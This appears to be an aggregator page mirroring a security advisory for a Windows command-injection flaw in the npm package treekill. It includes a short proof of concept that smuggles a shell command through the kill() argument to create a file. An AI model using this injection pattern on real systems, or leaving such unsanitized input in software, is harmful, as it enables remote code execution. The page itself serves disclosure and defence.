Lucene search

K
osvGoogleOSV:GHSA-J7FQ-P9Q7-5WFV
HistoryMay 24, 2022 - 5:04 p.m.

Treekill Enables OS Command Injection

2022-05-2417:04:00
Google
osv.dev
8
treekill
windows
command injection
remote code execution
poc
npm
hacked.txt
software

AI Score

8.2

Confidence

Low

EPSS

0.004

Percentile

73.7%

A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.

Steps To Reproduce:

Create the following PoC file:

var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');

Execute the following commands in terminal:

npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js #  Run the PoC
dir # Now *HACKED.txt* exists :)

The HACKED.txt has been created

AI Score

8.2

Confidence

Low

EPSS

0.004

Percentile

73.7%

Related for OSV:GHSA-J7FQ-P9Q7-5WFV